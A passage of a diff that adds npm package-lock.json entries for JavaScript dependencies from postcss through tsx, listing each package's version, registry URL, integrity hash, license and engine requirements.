"version": "8.5.28", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.28.tgz", + "integrity": "sha512-RRuzqDtt5Y9h3quz5hWhK+TPnsmVs6WwSU6LkJMeY4HstUEDuYTG8UJSdawMRzmzAtV+KEoG8N3Qg2qLy5vM/A==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "peer": true, + "dependencies": { + "nanoid": "^3.3.18", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postgres": { + "version": "3.4.7", + "resolved": "https://registry.npmjs.org/postgres/-/postgres-3.4.7.tgz", + "integrity": "sha512-Jtc2612XINuBjIl/QTWsV5UvE8UHuNblcO3vVADSrKsrc6RqGX6lOW1cEo3CM2v0XG4Nat8nI+YM7/f26VxXLw==", + "devOptional": true, + "license": "Unlicense", + "engines": { + "node": ">=12" + }, + "funding": { + "type": "individual", + "url": "https://github.com/sponsors/porsager" + } + }, + "node_modules/postgres-array": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-3.0.4.tgz", + "integrity": "sha512-nAUSGfSDGOaOAEGwqsRY27GPOea7CNipJPOA7lPbdEpx5Kg3qzdP0AaWC5MlhTWV9s4hFX39nomVZ+C4tnGOJQ==", + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/postgres-bytea": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/postgres-bytea/-/postgres-bytea-1.0.1.tgz", + "integrity": "sha512-5+5HqXnsZPE65IJZSMkZtURARZelel2oXUEO8rH83VS/hxH5vv1uHquPg5wZs8yMAfdv971IU+kcPUczi7NVBQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postgres-date": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/postgres-date/-/postgres-date-1.0.7.tgz", + "integrity": "sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postgres-interval": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/postgres-interval/-/postgres-interval-1.2.0.tgz", + "integrity": "sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ==", + "license": "MIT", + "dependencies": { + "xtend": "^4.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prettier": { + "version": "3.9.6", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.9.6.tgz", + "integrity": "sha512-OpN0zzVdiaiAhxpuuj5efpIS4sY9j7bY6uR5mnj5yPzGkdkjNKSJeUThPb60Jw29QuAZgA4o+/iB49kFiaBX6g==", + "dev": true, + "license": "MIT", + "bin": { + "prettier": "bin/prettier.cjs" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/prisma": { + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/prisma/-/prisma-7.10.0.tgz", + "integrity": "sha512-o0ornyJOWgygVAzGCpr8PdXV8EJLHyVGDDUr/voBQt8Azzw8cYTByzzPGcA/m4tCkPcnJA8raEOv2CslsKhPEw==", + "devOptional": true, + "hasInstallScript": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/config": "7.10.0", + "@prisma/dev": "0.24.17", + "@prisma/engines": "7.10.0", + "@prisma/studio-core": "0.33.0", + "mysql2": "3.15.3", + "postgres": "3.4.7" + }, + "bin": { + "prisma": "build/index.js" + }, + "engines": { + "node": "^20.19 || ^22.12 || >=24.0" + }, + "peerDependencies": { + "better-sqlite3": ">=9.0.0", + "typescript": ">=5.4.0" + }, + "peerDependenciesMeta": { + "better-sqlite3": { + "optional": true + }, + "typescript": { + "optional": true + } + } + }, + "node_modules/process": { + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", + "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==", + "license": "MIT", + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/process-warning": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/process-warning/-/process-warning-5.1.0.tgz", + "integrity": "sha512-jQSaVHsPgtyw60e1rQ/A+/ArPEj/S8pS/vFnyGa/gYFXrKk/6RuDkoqVDQ5NI5MmS01698ltlAk0NoDBNLujRw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT" + }, + "node_modules/proper-lockfile": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz", + "integrity": "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "retry": "^0.12.0", + "signal-exit": "^3.0.2" + } + }, + "node_modules/proper-lockfile/node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "devOptional": true, + "license": "ISC" + }, + "node_modules/proxy-from-env": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/pump": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.4.tgz", + "integrity": "sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/pure-rand": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-6.1.0.tgz", + "integrity": "sha512-bVWawvoZoBYpp6yIoQtQXHZjmz35RSVHnUOTefl8Vcjr8snTPY1wnpSPMWekcFwbxI6gtmT7rSYPFvz71ldiOA==", + "devOptional": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ], + "license": "MIT" + }, + "node_modules/qified": { + "version": "0.10.1", + "resolved": "https://registry.npmjs.org/qified/-/qified-0.10.1.tgz", + "integrity": "sha512-+Owyggi9IxT1ePKGafcI87ubSmxol6smwJ+RAHDQlx9+9cPwFWDiKFFCPuWhr9ignlGpZ9vDQLw67N4dcTVFEA==", + "dev": true, + "license": "MIT", + "dependencies": { + "hookified": "^2.1.1" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/qified/node_modules/hookified": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/hookified/-/hookified-2.2.0.tgz", + "integrity": "sha512-p/LgFzRN5FeoD3DLS6bkUapeye6E4SI6yJs6KetENd18S+FBthqYq2amJUWpt5z0EQwwHemidjY5OqJGEKm5uA==", + "dev": true, + "license": "MIT" + }, + "node_modules/quick-format-unescaped": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/quick-format-unescaped/-/quick-format-unescaped-4.0.4.tgz", + "integrity": "sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==", + "license": "MIT" + }, + "node_modules/rc9": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/rc9/-/rc9-3.1.0.tgz", + "integrity": "sha512-ufjkNVzbRHKcCOmTahZkmVsyc3W+MSk3jY03m+a7tGHkIsdVMG9l10/3HvFbWkkKzY5VFp3pkRsIo/UYgmFL7Q==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "defu": "^6.1.7", + "destr": "^2.0.5" + } + }, + "node_modules/react": { + "version": "19.2.8", + "resolved": "https://registry.npmjs.org/react/-/react-19.2.8.tgz", + "integrity": "sha512-PWaYA1L/q9u2u7xYQi+Y3L3Yfnie7XyLeaJICV1MGD6LprsBxcAqGjYyr0eY3p+QdsA+x/Irkt4Qif8D63+Sbw==", + "devOptional": true, + "license": "MIT", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "19.2.8", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.8.tgz", + "integrity": "sha512-rVprimfGBG3DR+Tq0IQG2DT5PxKth1WIGDmj5yPmlzr4YBe7uyE+Du4oVqTDXZSHGGGXRtTJEGSSePyQCMBglQ==", + "devOptional": true, + "license": "MIT", + "peer": true, + "dependencies": { + "scheduler": "^0.27.0" + }, + "peerDependencies": { + "react": "^19.2.8" + } + }, + "node_modules/readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "license": "MIT", + "dependencies": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/readdirp": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-5.1.1.tgz", + "integrity": "sha512-Kko+Y5XQ6fM+Ce3dq3m9YGxnacYZYl9cA1wZjaF3Vbry2L3i1qVg8+CAgNPsXRArPMUMCaOR7oa9Nqntc43JKA==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/real-require": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/real-require/-/real-require-0.2.0.tgz", + "integrity": "sha512-57frrGM/OCTLqLOAh0mhVA9VBMHd+9U7Zb2THMGdBUoZVOtGbJzjxsYGDJ3A9AYYCP4hn6y1TVbaOfzWtm5GFg==", + "license": "MIT", + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/remeda": { + "version": "2.33.4", + "resolved": "https://registry.npmjs.org/remeda/-/remeda-2.33.4.tgz", + "integrity": "sha512-ygHswjlc/opg2VrtiYvUOPLjxjtdKvjGz1/plDhkG66hjNjFr1xmfrs2ClNFo/E6TyUFiwYNh53bKV26oBoMGQ==", + "devOptional": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/remeda" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ret": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/ret/-/ret-0.5.0.tgz", + "integrity": "sha512-I1XxrZSQ+oErkRR4jYbAyEEu2I0avBvvMM5JN+6EBprOGRCs63ENqZ3vjavq8fBw2+62G5LF5XelKwuJpcvcxw==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rfdc": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz", + "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==", + "license": "MIT" + }, + "node_modules/robust-predicates": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.3.tgz", + "integrity": "sha512-NS3levdsRIUOmiJ8FZWCP7LG3QpJyrs/TE0Zpf1yvZu8cAJJ6QMW92H1c7kWpdIHo8RvmLxN/o2JXTKHp74lUA==", + "devOptional": true, + "license": "Unlicense" + }, + "node_modules/rolldown": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.2.7.tgz", + "integrity": "sha512-g0EtLvBjTUB7jhyV0S/TCup3v/XSVl45vUIGbOGU4QPiyjTenCe4mKuFvW9fEgYmS2Fo42AUssRmNuMziXdrig==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "@oxc-project/types": "=0.148.0", + "@rolldown/pluginutils": "^1.0.0" + }, + "bin": { + "rolldown": "bin/cli.mjs" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "optionalDependencies": { + "@rolldown/binding-android-arm-eabi": "1.2.7", + "@rolldown/binding-android-arm64": "1.2.7", + "@rolldown/binding-darwin-arm64": "1.2.7", + "@rolldown/binding-darwin-x64": "1.2.7", + "@rolldown/binding-freebsd-x64": "1.2.7", + "@rolldown/binding-linux-arm-gnueabihf": "1.2.7", + "@rolldown/binding-linux-arm64-gnu": "1.2.7", + "@rolldown/binding-linux-arm64-musl": "1.2.7", + "@rolldown/binding-linux-ppc64-gnu": "1.2.7", + "@rolldown/binding-linux-s390x-gnu": "1.2.7", + "@rolldown/binding-linux-x64-gnu": "1.2.7", + "@rolldown/binding-linux-x64-musl": "1.2.7", + "@rolldown/binding-openharmony-arm64": "1.2.7", + "@rolldown/binding-win32-arm64-msvc": "1.2.7", + "@rolldown/binding-win32-x64-msvc": "1.2.7" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/safe-regex2": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/safe-regex2/-/safe-regex2-5.1.1.tgz", + "integrity": "sha512-mOSBvHGDZMuIEZMdOz/aCEYDCv0E7nfcNsIhUF+/P+xC7Hyf3FkvymqgPbg9D1EdSGu+uKbJgy09K/RKKc7kJA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "ret": "~0.5.0" + }, + "bin": { + "safe-regex2": "bin/safe-regex2.js" + } + }, + "node_modules/safe-stable-stringify": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz", + "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/scheduler": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", + "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", + "devOptional": true, + "license": "MIT", + "peer": true + }, + "node_modules/secure-json-parse": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/secure-json-parse/-/secure-json-parse-4.1.0.tgz", + "integrity": "sha512-l4KnYfEyqYJxDwlNVyRfO2E4NTHfMKAWdUuA8J0yve2Dz/E/PdBepY03RvyJpssIpRFwJoCD55wA+mEDs6ByWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/seq-queue": { + "version": "0.0.5", + "resolved": "https://registry.npmjs.org/seq-queue/-/seq-queue-0.0.5.tgz", + "integrity": "sha512-hr3Wtp/GZIc/6DAGPDcV4/9WoZhjrkXsi5B/07QgX8tsdc6ilr7BFM6PM6rbdAX1kFSDYeZGLipIZZKyQP0O5Q==", + "devOptional": true + }, + "node_modules/set-cookie-parser": { + "version": "2.7.2", + "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz", + "integrity": "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==", + "license": "MIT" + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "license": "ISC" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/siginfo": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", + "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", + "dev": true, + "license": "ISC" + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "devOptional": true, + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/smol-toml": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/smol-toml/-/smol-toml-1.8.0.tgz", + "integrity": "sha512-kCZr2V3ch9i00x8zXRhjUNVcjG9ijES5dDudkXvUVCT5QlJNQWElSJdZqyPemffHoLNUYwOcou0Fy+ojN0uHSQ==", + "license": "BSD-3-Clause", + "engines": { + "node": ">= 18" + }, + "funding": { + "url": "https://github.com/sponsors/cyyynthia" + } + }, + "node_modules/sonic-boom": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/sonic-boom/-/sonic-boom-4.2.1.tgz", + "integrity": "sha512-w6AxtubXa2wTXAUsZMMWERrsIRAdrK0Sc+FUytWvYAhBJLyuI4llrMIC1DtlNSdI99EI86KZum2MMq3EAZlF9Q==", + "license": "MIT", + "dependencies": { + "atomic-sleep": "^1.0.0" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/split2": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz", + "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==", + "license": "ISC", + "engines": { + "node": ">= 10.x" + } + }, + "node_modules/sqlstring": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/sqlstring/-/sqlstring-2.3.3.tgz", + "integrity": "sha512-qC9iz2FlN7DQl3+wjwn3802RTyjCx7sDvfQEXchwa6CWOx07/WVfh91gBmQ9fahw8snwGEWU3xGzOt4tFyHLxg==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/stackback": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", + "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", + "dev": true, + "license": "MIT" + }, + "node_modules/statuses": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", + "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/std-env": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.2.0.tgz", + "integrity": "sha512-oCUKSupKTHX53EyjDtuZQ64pjLJ6yYCtpmEw0goYxtjG9KpbRe8KAsl2tBUGU9DyMcJ0RwJ8GqJAFzMXcXW1Rw==", + "dev": true, + "license": "MIT" + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/strip-json-comments": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-5.0.3.tgz", + "integrity": "sha512-1tB5mhVo7U+ETBKNf92xT4hrQa3pm0MZ0PQvuDnWgAAGHDsfp4lPSpiS6psrSiet87wyGPh9ft6wmhOMQ0hDiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/thread-stream": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/thread-stream/-/thread-stream-4.2.0.tgz", + "integrity": "sha512-e2zZ96wSChazBsbENf/Pcm/4swHt2cEKQ92rhUjkL9GCKiTDJIaTBenjE/m9DXi0QBmTMDkFDdOomUy20A1tDQ==", + "license": "MIT", + "dependencies": { + "real-require": "^1.0.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/thread-stream/node_modules/real-require": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/real-require/-/real-require-1.0.0.tgz", + "integrity": "sha512-P4nbQYQfePJxRSmY+v/KINxVucm4NF3p3s7pJveMTtom52FR4YGltUQLB8idDXwDDWW+eYrWDFbuzUnjoWHF7g==", + "license": "MIT" + }, + "node_modules/tinybench": { + "version": "6.1.4", + "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-6.1.4.tgz", + "integrity": "sha512-9APumHG7r4yOk4X4WlkmE71aZcv1gvin1czO3OQ1U9iJcFA5Ja/ygyb0vPOVHTthFozUYs8CLoLUlM8grb2lTQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/tinyexec": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.3.0.tgz", + "integrity": "sha512-QKAl9m8gWWGHV8jZcPeym6j+XULi6tOf1mT83WYJ4Lk2ytW/uwAWkrP0uFsdoYMdueVJ0qs26wZ+23xeB4ibNQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/tinyglobby": { + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.4" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/toad-cache": { + "version": "3.7.4", + "resolved": "https://registry.npmjs.org/toad-cache/-/toad-cache-3.7.4.tgz", + "integrity": "sha512-m1TdR/rvT7kgGJZhspNtXdsdYk0fddFpJJFlG5s+UkPFo6lkLoZ3YLOaovPYjq1R75NP5JfeTlSHaOsE09peCg==", + "license": "MIT", + "engines": { + "node": ">=20" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/ts-api-utils": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", + "integrity": "sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.12" + }, + "peerDependencies": { + "typescript": ">=4.8.4" + } + }, + "node_modules/tsx": { + "version": "4.23.13", + "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.23.13.tgz", + "integrity": "sha512-BL5MGkRln6aDYhb0xbQlEAGw743BaZYWdbWtdJOBriYJboKgUUYCadFp2/FpBBZquBC/ezNBn7wMMPx7FDZUDw==", + "dev": true, + "license": "MIT", + 